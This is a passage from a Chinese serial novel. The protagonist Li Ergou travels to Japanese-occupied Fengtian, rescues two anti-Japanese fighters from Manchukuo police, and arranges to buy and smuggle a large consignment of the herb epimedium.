秀才听后感动不已,李二狗的这种胸襟和气概确实是一般人所没有的。 望冬在桌子底下踢了陈老三一脚,陈老三一脸不解地看向望冬,望冬给他使了个眼色,同时眼角瞥了瞥李二狗。 陈老三心领神会,立即说道:“狗哥,我和你们一起去!” 李二狗很满意陈老三的态度,笑道:“老三,这次你就别去了。” 陈老三争辩道:“狗哥,你都去了,我岂有不去的道理?我必须跟你去!” 李二狗看了看陈老三,又看了看望冬,郑重地说道:“老三,别忘了你今天和我说的那件事,你留下来,和望冬一起看好家,我和秀才去东北这段时间,我不允许集团出现任何问题,否则拿你是问。” 陈老三一脸凝重地点了点头,秀才则听得一头雾水! 那件事是指哪件事? 第485章 李二狗闯关东 秀才虽然并不知道李二狗口中的那件事到底是指哪件事,但他大体已猜测出应该是和陈嘎子、张石头有关。 正所谓,好事不出门,坏事传千里。 陈嘎子和张石头最近做得那些事秀才早已有所耳闻,而他们两人却自以为做得神不知鬼不觉,真是愚蠢至极。 “秀才,你回去收拾一下,咱们明天一早出发,你六点之前赶到仙人洞镇东边的大路口等我。” “好的,狗哥,我一定准时到。” “那你先去忙吧,一定把霸虎寨的事情安排好。” 秀才走后,望冬忍不住埋怨道:“狗哥,你这次亲自去东北是不是有点太冒险了?我听说在东北,日本人杀个人都不犯法。” 李二狗冷笑道:“日本人可以杀人,咱们就不会吗?好了,望冬,别担心了,区区几个日本倭奴还不能把我怎么样!” “狗哥,我还是想跟你一起去,我放心不下你。” 陈老三真诚地表达着自己对李二狗的一片忠心。 “老三,你必须留下,记住,你们看好家就是大功一件,在这期间,一定不要和嘎子、石头发生任何冲突,一切都等我回来再说。” 李二狗之所以选择在自己去东北之前利用这次开寨务会的机会给陈嘎子、张石头提一个醒,还有一个重要目的就是考验考验他们到底是什么品行。 如果他们在这段时间内,继续私下搞小动作或者企图铤而走险,李二狗有的是办法收拾他们。 安排妥当之后,李二狗回到胡家大院。 临行前的夜晚,他一定要见见梦瑶母女才能安心离开。 自从张玲玉去省城治病之后,胡家大院便只剩下于兰芝一个主子。 虽少了许多争吵,却也增加了很多寂寞。 李二狗常年在外奔波,于兰芝虽心有不满,却也没有任何办法,她们毕竟不是夫妻,要不是因为他们有梦瑶,也许李二狗都不会再回到胡家大院。 依偎在李二狗怀里,于兰芝像极了一个小媳妇。 李二狗依稀记得当年自己到胡家大院应聘伙计时,于兰芝站在胡家大院门口那种颐指气使的样子。 那时候在李二狗眼里,于兰芝就是神仙姐姐一般的存在,哪怕多看她一眼,都忍不住发抖。 这才短短两三年的时间,他们彼此的地位已经发生了天翻地覆的变化。 李二狗不再是那个一无所知的毛头小子,于兰芝也不再是眼高于顶的地主家大奶奶。 “二狗,你真的要去东北吗?那里太危险了!我很担心你!” 自从李二狗告诉她自己要去东北之后,她内心一直惴惴不安。 “兰芝,东北我一定得去,不过我向你保证,我一定安然无恙的回来。” 于兰芝伏在李二狗怀里开始抽泣。 “二狗,你现在就是我们娘俩的天,你答应我,一定要好好地回来,我和梦瑶在家等你。” 李二狗紧紧地抱着于兰芝。 于兰芝是他所有女人中年纪最大的一个,但也是最会疼人的一个。 李二狗和她有着难以言说的默契,有时候自己一个轻微的动作,一个似有似无的眼神,于兰芝立马就能感知到李二狗接下来要做什么,她便会努力去配合他的姿势。 单论在床上的感觉,于兰芝是他最喜欢的女人。 “兰芝,时间不早了,我们赶紧上床吧。” 李二狗早已偷偷吃下一粒一夜八次丸。 于兰芝羞涩一笑,少妇一笑百媚生,杀伤力巨大。 “我要你抱我上床。” 李二狗一把抱起于兰芝就上了床,两人一直鏖战到天亮。 清晨看着熟睡中的于兰芝,李二狗俯身亲吻了一下她的额头,迈着酸软的双腿出了门。 时间紧、任务重,为了赶时间,李二狗特意开着汽车来到和秀才事先约定好的地方。 秀才看到李二狗开着一辆黑色的小轿车,脸上不免露出惊讶之色。 “狗哥,这玩意你都会开?” “别废话了,快上车,我们还得赶路。” 秀才赶忙在外边打开车门,钻进了汽车。 李二狗一脚油门,汽车疾驰而去! 到达省城之后,李二狗来到吴公馆和静雯交待了一些事情。 交代完之后,李二狗不放心地问道:“我刚刚说的你都记清楚了吗?一定不能有任何差池。” 静雯眼眶红红的,点了点头。 “我都记下了,二狗,你一定要去吗?我不想让你去!” 李二狗把静雯揽入怀中,安慰道:“静雯,东北我一定得去。你放心好了,东北那边现在虽然有不少日本人,但那里几千年来都是咱们中国的地方,有很多中国人,比日本人多得多,我不会有事的。” “可人家就是担心你嘛,日本人都很坏的。” 李二狗抚摸着静雯的头发,很想和她亲热一番,但时间实在是紧急,只好努力克制着。 “静雯,张德胜这个人够忠够勇,你最近出门带着他,我怕有人狗急跳墙对你不利。” “嗯,我都听你的,你快去快回,我在家等你。” 之后,李二狗和秀才便赶到火车站,坐上火车,直奔山海关。 坐了一天一夜的火车,终于到达了山海关。 由于日本人已经占领东三省,并扶持前清逊位皇帝建立了伪满洲国,所以火车在进入山海关的时候遭到了严密的检查。 有不少人因为携带了违禁品,被日本人赶下火车,驱逐出境。 幸好李二狗和秀才身上都没有带枪,否则很可能被日本人当成反日分子抓起来。 火车继续向前开,到达奉天之时已是黎明时分。 出了车站,李二狗站在寒风萧瑟的街头,颇有一种风萧萧兮易水寒的感觉。 “秀才,这么富饶的土地就拱手让给日本人了?南京国民政府真他娘的是废物!” 秀才哀叹道:“哎,狗哥,谁说不是呢?不过现在这些都已经成为事实,再怎么骂那群乌龟王八蛋也无济于事,我看咱们还是先找个旅馆住下吧,别忘了咱们这次来东北的目的。” 李二狗点了点头,和秀才一起走进了一家旅店。 “老板,来两间客房,要楼上安静点的地方。” 秀才话音未落,外边就冲进来几个伪满警察。 第486章 麻木不仁的民众 一个领头的警察把旅馆大堂的人全部审视一遍之后才大声说道:“都把你们的证件拿出来,老子要检查!” 旅馆老板已经见惯了这种场面,马上安慰道:“大家都配合一下老总,这只是例行检查,快把你们自己的证件拿出来给老总们看看。” 李二狗和秀才对视一眼,暗示他看自己的眼色行事。 “你的证件呢?快拿出来!” 一个警察提着一条警棍走到李二狗跟前,上下打量了他一番。 李二狗身穿皮袄,头戴狗皮帽子,在人群中显得很突出。 李二狗掏出证件交给警察,他单手接过,看了看,冷冷地问道:“你是南边过来的?” “是的,老总。”李二狗回答得相当有礼貌。 警察没有因为李二狗的礼貌就对他显得客气,大声呵斥道:“把头上的狗皮帽子给老子摘下来!” 李二狗笑眯眯地把头上的帽子摘下来拿在手中。 “老总,东北的天气实在是太冷了。” “少他妈的废话,到我们这边来干什么?” 李二狗依然保持着惯有的笑容。 “听说东北遍地都是宝,我们兄弟二人特地来东北批发点人参鹿茸貂皮啥的回去贩卖。” “什么他妈的东北?!老子告诉你,这里是满洲国。” “是是是,满洲国,满洲国。” 警察把证件扔给李二狗,警告道:“别惹乱子,否则老子手里的皮棍可不长眼!” “我知道,我知道,谢谢老总,谢谢老总。” 李二狗点头哈腰的样子确实很像做生意的二道贩子。 有两个人因为没带证件,被警察不由分说地带走了。 旅馆老板无奈地叹了口气。 “老板,他们每天都来检查吗?” “一天来好几次,一群喂不饱的狼崽子!” “哎,大家都是中国人,何必如此难为自己的同胞!” 旅店老板吓得赶紧说道:“先生,这话可不敢乱说啊,你们是来做生意求财的,可别祸从口出啊!” 李二狗撇了撇嘴,没有说话。 在当今中国,太多像旅馆老板这样的底层百姓,他们自以为坐稳了奴隶的身份,胆小甚微,骨子里根本没有反抗意识。 难怪两万日本关东军就能将几十万装备精良的东北军赶出东北。 两人拿到钥匙进入房间后,秀才说道:“狗哥,你先在房间休息一会儿,我去以前我们杆子帮的分舵看看还有没有人在。” “你去吧,注意安全。我看这天马上就亮了,待会儿我也去街上转一转,咱们分头行动吧,不管有没有消息,中午十二点之前必须回到旅馆。” 秀才答应一声,率先走了出去。 李二狗在旅馆里睡了一会儿,等天色大亮之后才来到奉天街头。 街上熙熙攘攘,各色人等穿梭其中,老百姓或叫卖、或讲价,说的全是中国话,完全看不出奉天已经是被日本占领的地方。 李二狗感慨颇深。 为什么寥寥几个日本兵扛着几杆步枪就可以统治这么大的一片地方? 而数以万计的中国老百姓却不敢反抗,甚至还有一些中国人为虎作伥,帮着日本人欺压中国老百姓! 李二狗来到一个早饭摊前,要了五根油条和一碗豆腐脑,便细嚼慢咽地吃了起来。 “老板,你们这里最大的中药铺在什么地方?” “你走到这条街的尽头有一家中药铺,是不是最大俺不知道,反正老大了。” “老板,听你口音是山东人啊?” “我爷爷带着全家闯关东过来的,都快二十年了。” “乡音未改啊。” “砰砰砰!” 正在这时,不远处传来一阵枪声。 其他客人吓得纷纷藏到桌子下面,只有李二狗坐在凳子上,手里的豆腐脑端得稳稳的。 听枪声至少在二里地之外,没有枪可以打这么远! 等他淡定地喝完豆腐脑,枪声越来越近了。 “抓住他们!抓住他们!不要让他们跑喽!” 一群警察在后面一边叫嚷一边放枪,两个穿着灰布衣服的男子则在前面狼狈逃窜。 在一个拐角处,穿灰布衣服的一个男子被一枪击中后背。 另一男子见状,赶紧把他拉进一棵大树后面,然后借助着大树树干的掩护进行还击。 一个伪满警察被一枪击中脑袋,当场送了命。 一个拿着手枪的警察对着身后一个警察说了几句话,这个警察便匆忙向后跑去。 李二狗离得远,虽然听不见他们说了什么,他猜测应该是命令这名警察回去叫援兵。 剩余的警察对着穿灰布衣服男子藏身的大树猛烈地射击,密集的子弹压制的他们根本不敢露头。 受伤的男子捂着伤口,催促着另一名男子不要管他赶紧走,另一名男子不愿丢下他,两人发什么争执。 受伤男子突然用手枪对准了自己的脑袋。 李二狗虽然不清楚这两名男子的身份,但他们能和伪满警察作对,生死之际,还能为对方着想,肯定不是什么坏人。 “你快走啊!”受伤男子再次大喝一声,“再不走,我就死在你面前!” 伪满警察一边射击一边向着大树移动,李二狗下意识地摸向腰间,才意识到自己根本没带枪。 “抓活的!” 就在这千钧一发之际,躲在树后的两人猛地露头对着警察又是一阵射击。 两名冲在最前面的警察倒下了,但他们的枪中也没有了子弹。 剩下的三名警察一哄而上,把他们二人抓获了。 躲在桌底下的百姓这时才纷纷从桌下钻出来,然后坐在凳子上继续吃早饭,仿佛刚刚发生的一切他们早已司空见惯,谁被抓对他们来说根本不如桌上未吃完的豆腐脑重要。 两人被警察押走了,等待他们的除了严刑拷打还是严刑拷打! “老板,你知道刚刚被抓的是什么人吗?” 老板叹息一声,说道:“应该是反日分子吧,日本人杀人不眨眼,他们还敢反日?真是嫌命不够长啊!你说他们这是何苦呢?” 李二狗不愿再听下去,扔下两个铜板跟了上去。 第487章 李二狗出手救人 “快走!” 一名一脸凶相的警察嫌弃受伤男子走得慢,一枪托狠狠地砸在他的后背上。 受伤男子哀嚎一声,支撑不住,一个趔趄倒在地上,同时一口鲜血喷了出来。 “柱子!” 另一名男子见状,俯身去扶受伤的男子,也被那个警察一枪托砸到后背上,同样一口鲜血喷了出来。 “你们这些畜生!” 警察被骂,丝毫不恼,他们嘴角狞笑着,对着躺在地上的两人又是一顿疾风暴雨般的枪托砸击。 “好了,别打了,把他们打死了咱们就拿不到日本人的奖赏了。”其中一个警察劝道。 “哼,等到了局里有你们受的!快起来,别躺在地上装死!” 说着又是狠狠地一枪托。 两个人相互搀扶着艰难地从地上颤巍巍站了起来。 李二狗听到他们要去找日本人领赏,更加坚定了要把这两个人救出的决心。 他回头看了看附近并没有多少行人,便抄起地上的一根木棍冲了上去。 “砰!砰!” 他挥动棍子砸倒两名警察,剩下的一名警察听到身后的动静,刚转过身子还未来及举枪就被李二狗迎头一棍子砸在他的脑门上。 顿时他的头顶鲜血直流,两眼一翻,登时昏死过去。 “好汉,你是?” “这里不是说话的地方,跟我来!” “砰,砰,砰!” 正在这时,警察的援兵到了,他们看到前面地上躺着的警察,纷纷举枪,对着李二狗他们就是一阵急速的射击。 “快走!我掩护!” “好汉……” “快走!再不走咱们都得死在这!”李二狗再次催促道。 另一名男子紧咬嘴唇,伸手扶起受伤的男子就往前跑去。 李二狗捡起地上的一支步枪,对着追击而来的援兵就是“砰砰砰”三枪。 他枪枪致命,三个最前面的警察倒在了地上。 李二狗精准的枪法顿时震慑住了这群追击而来的警察。 “快隐蔽!” 李二狗没有停止,他把步枪中的子弹全部射出去之后,然后又捡起地上的另一支步枪才向前跑去! 三个人一直往前跑,很快就跑到一条大河边,身后追击的警察已肉眼可见。 李二狗看到河边停着一艘木船。 “前面无遮无拦,我们不能再往前跑了,快上船。” 两个人瞅了李二狗一眼,都被他的气势镇住了。 他们没有犹豫,率先跳上了船。 李二狗也跳了上去,他撑起木桨,小船向着对岸疾驰而去。 警察跑到河边,对着河中的木船就是一阵射击,只可惜为时已晚,小船已经驶离了他们步枪的射程。 “他妈的!看你们往哪跑!你们跟我来,从那边的桥上绕过去。” 小船驶到对岸之后,三个人快速跳上岸,消失在纵横交错的巷道里。 三人来到一座破旧的关帝庙。 李二狗俯身给受伤之人检查了一下伤口。 “弹头还留在体内,必须尽快取出来,不然他会有性命之忧。” 受伤之人由于失血过多,再加上暂时脱离了危险,精神一懈怠,眼珠子一翻,昏死过去。 “柱子,柱子!” “别担心,他只是失血过多昏了过去,必须马上给他做手术取出身体里的弹头。” “做手术?什么是做手术?” “做手术就是……”李二狗来不及和他过多解释,“就是把他身体里的弹头取出来。” “怎么取?” 李二狗也犯了难! 警察正在到处追击他们,这时候去医院或者诊所治疗枪伤无异于送死。 “你先帮他止血,这里暂时安全,你们别出去,我出去想想办法,一会就回来。” “好汉,你……你为什么要救我们?” “因为我们都是不甘于被日本人欺负的中国人。” 李二狗言罢转身离去。 他来到大街上,街上的行人已经多了起来,喧嚣吵闹声不绝于耳。 看着熙熙攘攘的人群,李二狗一时有些恍惚,没想到奉天竟然比省城更加繁华。 难道这些人都忘记自己是亡国奴的身份了吗? 如此心甘情愿地在日本人的统治下当下等人,他们真得就心甘情愿吗? 想想就觉得很悲哀! 哀其不幸,怒其不争! 李二狗没敢去医院,他知道医院肯定被日本人把持着,自己所需之物都是军需用品,一定被严加管控。 他此次来东北是为了购买药材,不能再节外生枝,所以他放弃了去医院窃取药物的打算。 来到一家小诊所,里面只有一个穿着白大褂的大夫。 他抬头看了一眼李二狗,问道:“看病吗?哪里不舒服?” 李二狗回头看了看门外,然后低声说道:“大夫,刚才街上抓反日分子,我兄弟不小心被警察打伤了,您能不能去一趟我家,帮我兄弟把身体里的弹头取出来?” 大夫一听,顿时警惕起来,尤其听到李二狗不是本地口音,更加引起了他的怀疑。 “你兄弟伤在什么位置?” “后背,左边的后背。” “既然受了枪伤就应该去大医院把弹头取出来,我这里只是一个小诊所,做不了这种手术的。” 李二狗忙解释道:“去过了,但医院不给咱们中国老百姓看。” 他也不知道医院到底给不给中国老百姓看病,但大抵是不给看的,尤其受得是枪伤。 “哪个医院不给看?” 大夫注视着李二狗,满脸的不相信。 “就是东边那个医院,他们见我兄弟受得是枪伤,并不给治。”李二狗含糊说道。 “现在盘尼西林都是管制药物,老百姓受了枪伤只能等死,哎,我也无能无力啊,你还是回去吧。” “大夫,只要你跟我去一趟,把弹头取出来,我给你三块大洋!” 三块大洋,对惨淡经营的小诊所来说,相当于半个月的收入,他不可能不动心。 思虑再三,他终于下定了决心。 “咱们事先说好,我只负责把他身体里的弹头取出来,至于你兄弟能不能活命我可不能保证,而且我这里没有麻药,病人能不能承受得住也不好说。” 李二狗没有别的选择,只好说道:“好,只要你把弹头取出来,不管我兄弟能不能活命,我都给你三块大洋。” “那你等我一下,我进去收拾一下。” 第488章 我叫狗子 李二狗带着大夫来到关帝庙。 “你家住在这里?” 大夫刚走到关帝庙门口,狐疑地看向李二狗,不敢再往里走。 “大夫,你千万别误会,我兄弟受了伤,特别严重,我怕把他带回家里吓到老人和孩子,就临时找了这么一个僻静的地方。” 大夫对李二狗的话半信半疑,但想到可以挣到三块大洋,也顾不得其他,便跟着李二狗走进了关帝庙。 “好……” 没有受伤的那个人见到李二狗刚要张口叫好汉,被李二狗及时打断了。 “好点了吗?我把大夫找来了,咱兄弟醒了吗?” 好在那人反应快,急忙说道:“咱兄弟一直昏迷着,还总说胡话,大夫,您快给他看看吧。” 大夫看了一眼受伤之人,他身上缠着脏兮兮的布条,血虽然止住了,但嘴唇已经有些发紫,额头上冒着冷汗,伤的确实很严重。 “得赶紧找个平坦的地方让他躺下,我得把他体内的弹头取出来,否则他有生命危险。” 李二狗看了看四周,整个庙里只有关帝塑像前的供桌可用。 “就用它,快来帮忙。” 李二狗把供桌上香炉以及一些长了毛的贡品清扫干净,把供桌搬到一个亮堂的地方。 大夫从医药箱里拿出一块白布铺在上面,李二狗等人把受伤之人抬到桌子上,身子向下趴着,露出他受伤的后背。” 大夫戴上手套,拿出刀子、剪子等器械握在手中。 “你们两个一边一个死死按住他的胳膊,一定不要让他动弹。” 李二狗急忙向另一个人解释道:“丈夫这里没有麻药,怕咱兄弟撑不住,咱们还是听大夫的吧,救命要紧。” 两个人便一边一个按住了他的胳膊。 大夫把刀子在酒精灯上消了消毒,然后割进了他后背的肉里。 “啊……” 一声凄厉的惨叫响彻整个庙宇。 “按住他,别让他动。” 两人死死按住他的胳膊,受伤之人一直在杀猪般嚎叫着,叫声凄惨,这种情形下能忍住不叫的只有这个庙里供奉的关云长。 但关云长现在被供奉在这里,说明除了他,其他人根本做不到。 “大夫,好了吗?我怕他撑不住了。” 李二狗看他面色惨白,把自己的嘴唇都咬的鲜血直流,眼珠子已经开始翻白。 “当啷”一声,大夫把一颗弹头扔在了托盘里。 受伤之人顿时昏死过去。 大夫拿出一个药瓶,把一些白色的药面均匀地洒在伤口处,拿出绷带把伤口包扎好。 “大夫,我兄弟怎么样?” “弹头取出来了,暂时应该没有生命危险了,但伤口肯定会感染发炎,我刚才给用了一些消炎药,这里还剩有一些,每隔四个小时给他换一次药。” “谢谢大夫。” 李二狗掏出三块大洋递给他,他愉快地接受了。 “如果没什么事我先走了。” 李二狗一直把大夫送出门外。 “谢谢。” 李二狗回到庙里,没有受伤的那个人纳头便拜。 “谢谢好汉救命之恩!” 李二狗连忙把他拉起,说道:“我不是什么好汉,你们才是抗日的好汉,快快请起。” “好汉,我叫栓子,不知道您如何称呼?” 李二狗刚想报上大名,转念一想,此时报上自己的姓名根本没有必要,还可能带来麻烦。 “我叫狗子,咱们果然是兄弟,哈哈。” 栓子被李二狗逗笑了。 “狗哥,幸会幸会。” 初次相识,虽对他们有救命之恩,但李二狗并不想过多地过问他们的事情。 “栓子兄弟,我建议咱们马上离开这里。” “离开这里?” “对,这里已经有人知道了,为了以防万一,咱们还是尽快离开的好。” 栓子没想到李二狗行事如此谨慎,而自己却没有想到,顿时感到羞愧不已。 栓子背上柱子,李二狗在后面扶着,三个人快速离开了关帝庙。 “栓子兄弟,我只能送你们到这里了。” 李二狗既不问他们去哪里,也不问他们是干什么的,令栓子深感意外。 他心中暗想,这个人肯定不是泛泛之辈。 “狗哥,我们现在还无法出城,但城里有我们的人,我们先去找到他们再想办法。” “那好,山高水长,江湖路远,咱们后会有期!” 栓子觉得这话非常亲切,难道他也是…… “狗哥,大恩不言谢,他日定当厚报,保重!” 李二狗和他们告别之后,直接去了早上吃早餐时打听到的那家药铺。 药铺确实大,李二狗从来没有见过这么大的药铺,光储存药材的柜子就满满的几面墙。 “先生,您买药吗?” 李二狗装作若无其事的样子,拿起放在桌上的一棵人参闻了闻。 故意问道:“你们这参是老山参吗?” 药铺伙计一看来人要买老山参,又看他穿着气度都是不凡,定是一个大主顾,顿时脸上堆满了笑容。 “先生真是好眼力,这是长白山里的老山参,您看这参茎、这根须,是我们店里最好的山参。” 李二狗在胡家大院这几年,长了不少见识,这棵山参一看就是种植的,根本不是什么长白山的老山参。 李二狗故作神秘地一笑,说道:“我做了这么多年的药材批发生意,今天算是长了见识了,老山参,哈哈。” 伙计羞愧难当,本以为李二狗是个普通的顾客,没想到却是药材批发商。 “先生如果看不上这棵山参,可以再看看别的,我们这里有各种不同的人参。” “你们这里壮阳补肾的药材都有哪些,你给我介绍介绍。” 谨慎起见,李二狗没直接说自己要买什么。 “壮阳补肾的药材可多了,像人参、鹿茸、枸杞、菟丝子、仙茅、附子这些都有,先生都要吗?” 这个伙计偏偏没有说淫羊藿,难道井伊商社把东北的淫羊藿也买光了? “你先带我去看看,我挑选挑选再做决定。” 面对这么大的主顾,伙计不敢怠慢,带着李二狗边看边热情地介绍起来。 李二狗终于看到了淫羊藿。 他嘴角露出了一丝不易察觉的笑容。 第489章 李二狗买药 “这个淫羊藿是哪里产的?”李二狗抓起一把放在鼻下闻了闻,貌似无意地问道。 “甘肃、宁夏,还有我们东北,产地有很多地方的。” 药铺伙计不明白李二狗为何开口就问产地,而不是问它的价格。 无论是哪里产的,药效都一样,价格也一样。 李二狗笑了笑,把手里的药材扔在筐子里,拍了拍手继续问道:“那价格都是一样的吗?多少钱一斤?” 药铺伙计好像突然想起了什么,没有直接回答李二狗的问题而是反问道:“听先生口音,应该是关内人吧?” 李二狗心里“咯噔”一下,面上却显得很平静。 “怎么?难道你们药铺还根据客人是哪里人来报价格吗?” 伙计连忙摆手道:“先生,您千万不要误会,有一件事您可能还不知道,我们满洲国有规定,淫羊藿这味药材不许卖到关内去。” 李二狗最担心的事情还是发生了。 他心想,这肯定是井伊商社在背后搞的鬼。 收购关内的淫羊藿已经耗费了他们大量的金钱,他们此时肯定已经没有多余的财力来继续收购东北的淫羊藿,只好利用日本在东北的影响下达命令,不许关外的淫羊藿卖到关内去。 这一招实在是狠毒。 自打伪满洲国成立之后,关外的货物想要卖到关内去,都要被加征高额的税费。 最为关键的是货物进出都要通过日本人设立的关卡,早已不能自由流动。 现在淫羊藿又被限制买卖,酒井空实在是阴狠毒辣。 但李二狗也知道,井伊商社囤积了大量的淫羊藿,为此占用了他们大量的资金,货物囤积在他们手中,他们压力肯定也是非常巨大。 就看双方谁先服输! 现在比拼的就是谁能撑得时间更久! 井伊商社的目的是迫使李二狗与他们合作,之后再高价把淫羊藿卖给吴氏制药厂。 其实井伊商社投入巨资在全国囤积淫羊藿,本身就是一件非常冒险的事情。 李二狗得不到淫羊藿,最多就是生产不了一夜七次丸,赔偿一些松上商社的违约金,少赚一点日本市场的钱罢了,反正前期吴氏制药厂已经赚的盆满钵满。 但井伊商社却不同,一招不慎,他们很可能满盘皆输,甚至尸骨无存。 李二狗之所以目前还不愿意放弃生产一夜七次丸,实在是因为这种药丸在日本市场的利润太过丰厚,值得他冒一次险! 李二狗微微一笑,并没有表现出丝毫慌乱。 “我在齐齐哈尔开贸易行,祖上也是闯关东过来的。” 伙计一听,顿时喜笑颜开。 “原来是齐齐哈尔的,那当然可以卖给您,先生打算要买多少?” “那得看你们这里有多少?” “先生要多少我们就有多少!” 李二狗故意说道:“小伙子,你的口气未免也太大了一些吧?” 伙计自豪地说道:“不瞒先生,我们药铺在满洲国三个省都有分店,一定可以满足先生的需求。” “两万斤,有吗?” “两万斤?!”伙计惊得目瞪口呆,“先生,您买这么多淫羊藿干什么用?” 其实两万斤远远满足不了吴氏制药厂的需求,李二狗之所以说两万斤,是怕说多了吓着他。 “我们贸易行和苏联的几个制药厂有合作,他们最近正在生产几款中药,准备卖往中国市场,如果卖得好,也许以后的用量会更高。” 这么大的量,伙计根本做不了主。 “先生,请您移步到接待室,我需要向我们经理汇报一下您的情况。” 很快,一个穿着长袍大褂、留着山羊胡且瘦骨嶙峋的男人走进了接待室。 “先生,这是我们药铺的马经理。” 马经理热情地向李二狗打招呼道:“不好意思,让先生您久等了。” 李二狗微微一笑,说道:“马经理,我一会还要到其他药铺去考察,咱们直接进入正题吧。” “好好好,先生,刚才我听我们药铺伙计说您要购买两万斤淫羊藿,是吗?” “是的,请马经理给报个实在价吧,如果价格合适,我现在就可以付定金。” 马经理的山羊胡微微跳动了一下,还真是一个大主顾。 “先生,价格方面都好说,只是有一条,我得提前和您说清楚,这淫羊藿在我们满洲国属于限制流通的药材,政府不允许卖到关内去。” “这个情况你们伙计已经和我说过了,我不是关内的。” 马经理对李二狗的回答并不感到惊讶,好像已经司空见惯一般。 “另外,我们药铺只管卖,不负责送货上门,先生需要自己想办法把药材运回去。” 两万斤药材,想要自己运出东北,确实非常棘手。 但李二狗本来也没打算让他们送货,因为自己之前和他们说的地址就是错误的,不可能让他们把货物真的送到齐齐哈尔去。 “这个我能理解,到时候你们把货物准备好,送到奉天城中一个我指定的仓库就好,但是价格方面你们一定要给更大的优惠才行。” “这个好说,先生什么时候要?” “如果价格合适,当然是越快越好。” “二十斤一块大洋,您看可以吗?我们保证三天之内可以发货。” 淫羊藿本来只是一种普通的中药材,价格非常便宜,没想到价格竟在短期内翻了好几倍。 “先生,我虽然人长得憨厚,但并不是冤大头,我做药材生意多年,淫羊藿的价格还是多少了解一些的,你报的价格未免有些太离谱了吧?” 马经理捋了捋唇上的山羊胡,笑道:“不瞒先生,如果您是一个月之前来购买,一块大洋可以买到一百斤,甚至更便宜,但现在确实买不到了。” “奥?”李二狗故作惊讶道,“一个月之内就涨了这么多,难道这淫羊藿成神草不成?吃了能长枪不倒?” 马经理从进门的那一刻起,就对李二狗的身份产生了怀疑。 他说话的口音明显是中原地区的口音,而且人长得细皮嫩肉,根本不像是从北边极寒之地来的人。 这样的人他这一个月内已经见了太多。 第490章 和尚岭 “哈哈,先生真会开玩笑,您有所不知,不知道什么原因,淫羊藿最近在关内各地市被抢购一空,很多贸易行都到关外来进货,但满洲国政府却不允许把淫羊藿卖到关内去。就是这样,价格还是一路飞涨,如果不是因为政府限制,价格还会更高!” 关内的人到关外来购买淫羊藿回去挣差价,这个主意李二狗可以想到,肯定也会有别人能想到,李二狗并不感到奇怪。 “马经理,你不会是在骗我吧?既然你们政府不允许卖到关内去,为何价格还涨了这么多?” 马经理高深莫测地笑了笑,他暗中观察着李二狗,以此判断他是不是在说谎。 “先生,您知道现在关内淫羊藿卖多少钱吗?只要有足够大的利润,就会有人选择铤而走险!” “马经理的意思是?” 李二狗没有把话说全,马经理却已心领神会。 “先生,看破不说破,我们药铺只管卖,至于客人把药材贩卖到哪里,我们就管不着了,您说是不是?” 淫羊藿的价格确实涨了许多,但和一夜七次丸的利润比起来还是显得微不足道。 李二狗掏出五百块大洋的银票,说道:“这是五百块大洋的定金,请马经理准备好货,三天之后我来提货。” 李二狗之所以只买两万斤,一是因为这两万斤运回关内困难重重,他需要先探一探路,另一方面,如果能把这两万斤顺利运回去,就解了制药厂的燃眉之急,到时候井伊商社囤积的淫羊藿就会被迫流入市场,淫羊藿的价格肯定会回落下来。 马经理拿起银票看了一眼。 “好,三天之后,我们会把药材运到您指定的仓库。” “三天后我会派人告诉你们仓库地址,告辞!” 李二狗离开之后,伙计说道:“马经理,我感觉这个人肯定是关内之人,你看咱们是不是?” 马经理呵斥道:“住嘴,他是不是关内之人与咱们何干?把两万斤药材卖出去才是最重要的。” 李二狗回到旅馆的时候,秀才已经在房间里等待了。 “狗哥,你回来了。” “秀才,怎么样?你们杆子帮在东北的分舵还有人在吗?” “我去了原来我们杆子帮分舵所在的地方,可那里早已破烂不堪,看情形已经好久没有人住了。” 李二狗神色凝重,没有杆子帮的帮助,仅凭他和秀才两个人的力量,想把这两万斤药材偷偷运到关内实在是太困难了。 “秀才,你想办法在城中找一处临时仓库,三天后到春和盛告诉他们仓库的地址,我已在那里订购了两万斤淫羊藿。” “两万斤?”秀才听后欣喜异常,“太好了,这可解了咱们的燃眉之急。” 李二狗则高兴不起来。 “秀才,你可能还不知道,现在满洲国政府不允许东北的这种药材卖到关内。” 秀才在来东北之前担心买不到这种药材,可没想到这种药材很好买到,难的是把药材运回去。 “那怎么办?运不出去咱们买了也没有什么用啊?” 李二狗笑道:“如果那么容易就能运出去,恐怕咱们就不会这么容易买到了。” 秀才看李二狗如此说,以为他已经想到了把药材运出去的办法。 “狗哥,你有办法了?” “还没有!” 秀才被兜头泼了一盆冷水。 “那怎么办?我看咱们还是先想到运出去的办法再买药材吧?这样更妥帖一些。” 吴氏制药厂还在等待这种药材生产一夜七次丸,时间紧急,李二狗绝不能等。 “咱们分头行动,你去找仓库,我去想运货的办法。” 秀才了解李二狗的性格,他安排的事情你必须去做,而且他不想说的事情你问也是白问。 “好的,狗哥,我现在就去找仓库。” 秀才离开后,李二狗来到旅馆大堂。 “老板。” 李二狗笑呵呵地从兜里掏出五块大洋摆在柜台上。 旅馆老板先是一愣,转而喜笑颜开地问道:“先生想要什么服务请尽管开口,小店尽全力满足。” 李二狗看旅馆老板的神色就知道他以为李二狗要找女人。 “我什么都不要,只想向老板打听一点事,这是给你的咨询费。” 旅馆老板虽然从来没有听说过“咨询费”这个新鲜词,但柜台上的五块大洋他却认得真真切切。 他笑得和捡到一个金元宝一样。 “先生,有什么要问的您尽管说。” 李二狗早已暗中观察过旅馆四周,此时并没有什么客人。 “老板,我有些货物想运到关内去,你有什么法子吗?” 老板脸色显得很平静,想来是经常遇到这种问题。 李二狗之所以向他打听此事,也是想到旅馆人来人往,作为老板,肯定要眼观六路、耳听八方。 “先生想运什么?不会是这个吧?” 旅馆老板用手指比划了一个“八”字。 李二狗心下大喜,心想,连枪支弹药都有办法运出去,偷运些药材应该会简单的多。 “不是,”李二狗摇了摇头,“是药材。” “药材?”旅馆老板吃惊不小,“什么药材?” 旅馆老板以为李二狗要偷运的是军用药品,那可真是掉脑袋的买卖。 “是中药材!” “先生,什么中药材在关内买不到?您跑到我们这里来走私中药材?您不会是在逗我的吧?” “我逗你?呵呵,柜台上的大洋难道也在逗你吗?只需告诉我法子,其他的事情你不用管。” 老板看着柜台上的大洋,两眼直放光,心下埋怨自己管得太多了。 “离奉天城东二十里外有一座和尚岭,岭上有一群土匪,为首的叫镇东北,他们专做关内关外的走私生意,您可以去那里试一试。” “和尚岭的土匪……” 李二狗嘴里嘀咕道,没想到到了东北还得依靠同行。 